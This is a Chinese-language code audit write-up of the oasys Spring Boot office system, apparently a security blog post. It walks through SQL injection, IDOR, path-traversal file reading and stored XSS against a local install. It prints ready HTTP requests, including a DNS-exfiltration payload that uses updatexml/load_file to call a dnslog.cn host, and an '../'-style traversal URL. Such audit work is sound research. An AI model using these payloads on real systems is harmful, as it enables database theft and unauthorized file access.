oasys代码审计

前言

介绍

oasys是一个OA办公自动化系统,使用Maven进行项目管理。基于springboot框架开发的项目,mysql底层数据库,前端采用freemarker模板引擎,Bootstrap作为前端UI框架。

环境搭建

环境搭建:下载源码后,直接使用IDEA打开,因为项目使用springboot搭建,所以无需手动配置服务器。

启动本地Mysql,在 src/main/resources/application.properties中修改Mysql账号密码。创建并导入数据库

create database oasys;
use java_sec_code;
source \oasys\oasys.sql;

账号密码

账号:soli 密码:123456

漏洞审计

SQL注入1

查看pom文件得知项目使用了mybatis作为持久层框架,所以在项目中查找下是否使用了“${”进行SQL语句拼接。

在mappers/notice-mapper.xml文件中存在一处拼接

	<select id="sortMyNotice" resultType="java.util.Map">
		SELECT n.*,u.* FROM
		aoa_notice_list AS n LEFT JOIN aoa_notice_user_relation AS u ON
		n.notice_id=u.relatin_notice_id WHERE u.relatin_user_id=#{userId} 
		<if test="baseKey !=null">
			and n.title LIKE '%${baseKey}%'
		</if>

再查找下java代码中哪个控制器调用了这个映射语句,只在文件InformController.java中找到一次调用。

	@RequestMapping("informlistpaging")
	public String informListPaging(@RequestParam(value = "pageNum", defaultValue = "1") int page,
			@RequestParam(value = "baseKey", required = false) String baseKey, 
			@RequestParam(value="type",required=false) Integer type,
			@RequestParam(value="status",required=false) Integer status,
			@RequestParam(value="time",required=false) Integer time,
			@RequestParam(value="icon",required=false) String icon,
			@SessionAttribute("userId") Long userId,
			Model model,HttpServletRequest req){
		System.out.println("baseKey:"+baseKey);
		System.out.println("page:"+page);
		setSomething(baseKey, type, status, time, icon, model);
		PageHelper.startPage(page, 10);
		List<Map<String, Object>> list=nm.sortMyNotice(userId, baseKey, type, status, time);
		PageInfo<Map<String, Object>> pageinfo=new PageInfo<Map<String, Object>>(list);
		List<Map<String, Object>> list2=informRelationService.setList(list);
		for (Map<String, Object> map : list2) {
			System.out.println(map);
		}

由方法名称及文件注释,可以知道这个对应的是通知列表处的功能。

抓包发现,通知管理对应的请求是“GET /infrommanage”,通知列表对应的请求是“GET /infromlist”,且该功能内也没有按钮对应“/informlistpaging”请求。在项目内搜索“/infromlist”和“/informlistpaging”可以对比发现:“/infromlist”在前端中有对应的请求语句,而“/informlistpaging”没有。

不过“/infrommanage”在源码中也没有搜索到。所以应当在浏览器前端进行全局搜索更准确些,因为前端中“/infrommanage”、”/infromlist”均能搜索到,而“/informlistpaging”不能搜索到。

既然前端没有按钮对应“/informlistpaging”请求,那就自己构造下。这个方法有多个参数,但大部分@RequestParam注解中属性required值为false,也就是不是必须的。而且参数pageNum设置了默认值。我们在请求包只需添加baseKey这一个参数就可以。

构造请求包如下,这里请求方式GET或POST都行。

POST /informlistpaging HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:8088/infromlist
Cookie: JSESSIONID=65C04C615FB30CE7221A5612711E8025
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

baseKey=*

直接放sqlmap

也有师傅用DNS回显来判断,但我这里没有复现成功。

POST /informlistpaging HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:8088/infromlist
Cookie: JSESSIONID=65C04C615FB30CE7221A5612711E8025
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

baseKey=1'+and+updatexml(1,concat(1,load_file(concat('\\\\',(select+version()),'.hc0wgr.dnslog.cn\\abc'))),3)+and+'1'='1

SQL注入2

在mappers/address-mapper.xml文件中也存在“${”拼接

	 <select id="allDirector" resultType="java.util.Map">
		SELECT d.*,u.*
		FROM aoa_director_users AS u LEFT JOIN aoa_director AS d ON 
		d.director_id = u.director_id
		WHERE u.user_id=#{userId} AND u.director_id is NOT null AND u.is_handle=1
		<if test="pinyin !='ALL'">
			AND d.pinyin LIKE '${pinyin}%'
		</if>

调用点在文件AddrController.java,是外部通讯录功能。

	@RequestMapping("outaddresspaging")
	public String outAddress(@RequestParam(value="pageNum",defaultValue="1") int page,Model model,
			@RequestParam(value="baseKey",required=false) String baseKey,
			@RequestParam(value="outtype",required=false) String outtype,
			@RequestParam(value="alph",defaultValue="ALL") String alph,
			@SessionAttribute("userId") Long userId
			){
		PageHelper.startPage(page, 10);
		List<Map<String, Object>> directors=am.allDirector(userId, alph, outtype, baseKey);
		List<Map<String, Object>> adds=addressService.fengzhaung(directors);
		PageInfo<Map<String, Object>> pageinfo=new PageInfo<>(directors);
		if(!StringUtils.isEmpty(outtype)){
			model.addAttribute("outtype", outtype);
		}	
		Pageable pa=new PageRequest(0, 10);
		
		Page<User> userspage=uDao.findAll(pa);
		List<User> users=userspage.getContent();
		model.addAttribute("modalurl", "modalpaging");
		model.addAttribute("modalpage", userspage);
		model.addAttribute("users", users);
		model.addAttribute("userId", userId);
		model.addAttribute("baseKey", baseKey);
		model.addAttribute("directors", adds);
		model.addAttribute("page", pageinfo);
		model.addAttribute("url", "outaddresspaging");
		return "address/outaddrss";
	}

相同方式构造请求包

POST /outaddresspaging HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:8088/infromlist
Cookie: JSESSIONID=65C04C615FB30CE7221A5612711E8025
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

alph=*

越权漏洞

点击流程管理—我的申请—查看

抓包,猜测id字段为身份标识

查看源码,并未进行防止越权处理

	@RequestMapping("particular")
	public String particular(@SessionAttribute("userId") Long userId,Model model,HttpServletRequest req){
		User user=udao.findOne(userId);//审核人或者申请人
		User audit=null;//最终审核人
		String id=req.getParameter("id");
		Long proid=Long.parseLong(id);
		String typename=req.getParameter("typename");//类型名称
		String name=null;
		
		Map<String, Object> map=new HashMap<>();
		ProcessList process=prodao.findOne(proid);//查看该条申请
		Boolean flag=process.getUserId().getUserId().equals(userId);//判断是申请人还是审核人
		
		if(!flag){
			name="审核";
		}else{
			name="申请";
		}
		map=proservice.index3(name,user,typename,process);
			if(("费用报销").equals(typename)){
				Bursement bu=budao.findByProId(process);
				User prove=udao.findOne(bu.getUsermoney().getUserId());//证明人
			if(!Objects.isNull(bu.getOperation())){
				audit=udao.findOne(bu.getOperation().getUserId());//最终审核人
			}
				List<DetailsBurse> detaillist=dedao.findByBurs(bu);
				String type=tydao.findname(bu.getTypeId());
				String money=ProcessService.numbertocn(bu.getAllMoney());
				model.addAttribute("prove", prove);
				model.addAttribute("audit", audit);
				model.addAttribute("type", type);
				model.addAttribute("bu", bu);
				model.addAttribute("money", money);
				model.addAttribute("detaillist", detaillist);
				model.addAttribute("map", map);
				return "process/serch";
			}else if(("出差费用").equals(typename)){
				Double	staymoney=0.0;
				Double	tramoney=0.0;
				EvectionMoney emoney=emdao.findByProId(process);
				
				String money=ProcessService.numbertocn(emoney.getMoney());
				List<Stay> staylist=sadao.findByEvemoney(emoney);
				for (Stay stay : staylist) {
					staymoney += stay.getStayMoney();
				}
				List<Traffic> tralist=tdao.findByEvection(emoney);
				for (Traffic traffic : tralist) {
					tramoney+=traffic.getTrafficMoney();
				}
				model.addAttribute("staymoney", staymoney);
				model.addAttribute("tramoney", tramoney);
				model.addAttribute("allmoney", money);
				model.addAttribute("emoney", emoney);
				model.addAttribute("staylist", staylist);
				model.addAttribute("tralist", tralist);
				model.addAttribute("map", map);
				return "process/evemonserch";
			}else if(("出差申请").equals(typename)){
				Evection eve=edao.findByProId(process);
				model.addAttribute("eve", eve);
				model.addAttribute("map", map);
				return "process/eveserach";
			}else if(("加班申请").equals(typename)){
				Overtime eve=odao.findByProId(process);
				String type=tydao.findname(eve.getTypeId());
				model.addAttribute("eve", eve);
				model.addAttribute("map", map);
				model.addAttribute("type", type);
				return "process/overserch";
			}else if(("请假申请").equals(typename)){
				Holiday eve=hdao.findByProId(process);
				String type=tydao.findname(eve.getTypeId());
				model.addAttribute("eve", eve);
				model.addAttribute("map", map);
				model.addAttribute("type", type);
				return "process/holiserch";
			}else if(("转正申请").equals(typename)){
				Regular eve=rgdao.findByProId(process);
				model.addAttribute("eve", eve);
				model.addAttribute("map", map);
				return "process/reguserch";
			}else if(("离职申请").equals(typename)){
				Resign eve=rsdao.findByProId(process);
				model.addAttribute("eve", eve);
				model.addAttribute("map", map);
				return "process/resserch";
			}
		
		
		
		return "process/serch";
	}

对id字段进行爆破,证明存在越权漏洞。

任意文件读取

查找“getRequestURI”函数,发现在以下两个文件中存在

cn/gson/oasys/controller/user/UserpanelController.java
cn/gson/oasys/controller/process/ProcedureController.java

对比下代码实现逻辑是一样的。以UserpanelController.java#image()为例

	@RequestMapping("image/**")
	public void image(Model model, HttpServletResponse response, @SessionAttribute("userId") Long userId, HttpServletRequest request)
			throws Exception {
		String projectPath = ClassUtils.getDefaultClassLoader().getResource("").getPath();
		System.out.println(projectPath);
		String startpath = new String(URLDecoder.decode(request.getRequestURI(), "utf-8"));
		
		String path = startpath.replace("/image", "");
		
		File f = new File(rootpath, path);
		
		ServletOutputStream sos = response.getOutputStream();
		FileInputStream input = new FileInputStream(f.getPath());
		byte[] data = new byte[(int) f.length()];
		IOUtils.readFully(input, data);
		// 将文件流输出到浏览器
		IOUtils.write(data, sos);
		input.close();
		sos.close();
	}

代码先通过getRequestURI()方法获取相对路径,与rootPath拼接后创建File类的实例。并未对路径穿越字符进行过滤处理。

查看下rootPath

在D盘下实际并没有oasys这个文件夹。我创建了一个D:/test/password.txt文件用于演示。

Payload如下,这里可以多加几个“//image..”

http://127.0.0.1:8088/image//image..//image..//image..//image..//test/password.txt

访问静态资源路径,只有static目录下可以访问。

XSS

在用户管理—部门管理处和用户管理—用户管理处可以新增部门、用户,直接在输入框中输入payload会前端报错

抓包后换成payload

刷新后弹窗从1到5,证明这几个字段均未进行XSS过滤,存在注入点。

查看代码,未进行处理,直接使用deptdao.save()将dept保存

	@RequestMapping(value = "deptedit" ,method = RequestMethod.POST)
	public String adddept(@Valid Dept dept,@RequestParam("xg") String xg,BindingResult br,Model model){
		System.out.println(br.hasErrors());
		System.out.println(br.getFieldError());
		if(!br.hasErrors()){
			System.out.println("没有错误");
			Dept adddept = deptdao.save(dept);
			if("add".equals(xg)){
				System.out.println("新增拉");
				Position jinli = new Position();
				jinli.setDeptid(adddept.getDeptId());
				jinli.setName("经理");
				Position wenyuan = new Position();
				wenyuan.setDeptid(adddept.getDeptId());
				wenyuan.setName("文员");
				pdao.save(jinli);
				pdao.save(wenyuan);
			}
			if(adddept!=null){
				System.out.println("插入成功");
				model.addAttribute("success",1);
				return "/deptmanage";
			}
		}
		System.out.println("有错误");
		model.addAttribute("errormess","错误!~");
		return "user/deptedit";
	}

dept定义

public class Dept {
	@Id
	@Column(name = "dept_id")
	@GeneratedValue(strategy=GenerationType.IDENTITY)
	private Long deptId;	//部门id
	
	@Column(name = "dept_name")
	@NotEmpty(message="部门名称不为空")
	private String deptName;	//部门名字  非空 唯一
	
	@Column(name = "dept_tel")
	private String deptTel;		//部门电话  
	
	@Column(name = "dept_fax")
	private String deptFax;		//部门传真
	
	private String email;		//部门email
	
	@Column(name = "dept_addr")
	private String deptAddr;	//部门地址
	
	private Long deptmanager;
	
//	@Column(name = "start_time")
//	private Date startTime;		//部门上班时间
	
//	@Column(name = "end_time")
//	private Date endTime;		//部门下班时间

deptdao.save()依赖org.springframework.data.jpa包中的方法

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇